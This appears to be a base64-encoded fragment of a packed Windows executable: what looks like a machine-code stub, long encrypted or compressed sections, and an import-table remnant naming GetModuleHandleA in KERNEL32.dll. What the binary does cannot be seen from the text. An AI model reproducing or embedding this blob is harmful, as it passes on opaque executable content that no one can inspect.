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 LdFeGOE2elBr+NS/ioiLYE+8JtSHktJVJOanjQ4PZe3gSkGMWpRanxyTaJOTRaME23oAPi3h9Axs DprP79rIOTzBU+LQU/Hwxl3mapCAet2a6OBBcce/7wD+sA2se16kQwlZCIAGp88e/Pv5MCE3Bb0d dm7LEzCoiHTyVvqLe7nu6KKiHI29/oDWVjrHrEVrHYt4rInxFM+6wo8ZVp7EWbpPvHCrwN7iU2QX 7ENNxZb2SefMHgDTfn87yF//NIasbekUM6o6Oe8bEU03tTS4Mj9v9nEyY4o/4vKvtKr5t+O0Zpuz yrAoKYqrUzxdc1Rs3Tlv1YwsdzTFC8po63CbiJoIb7PbX4rlM6TVgW6MX1YJg2le+hTikcIEsTFu ZXdzAgAAAPANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA 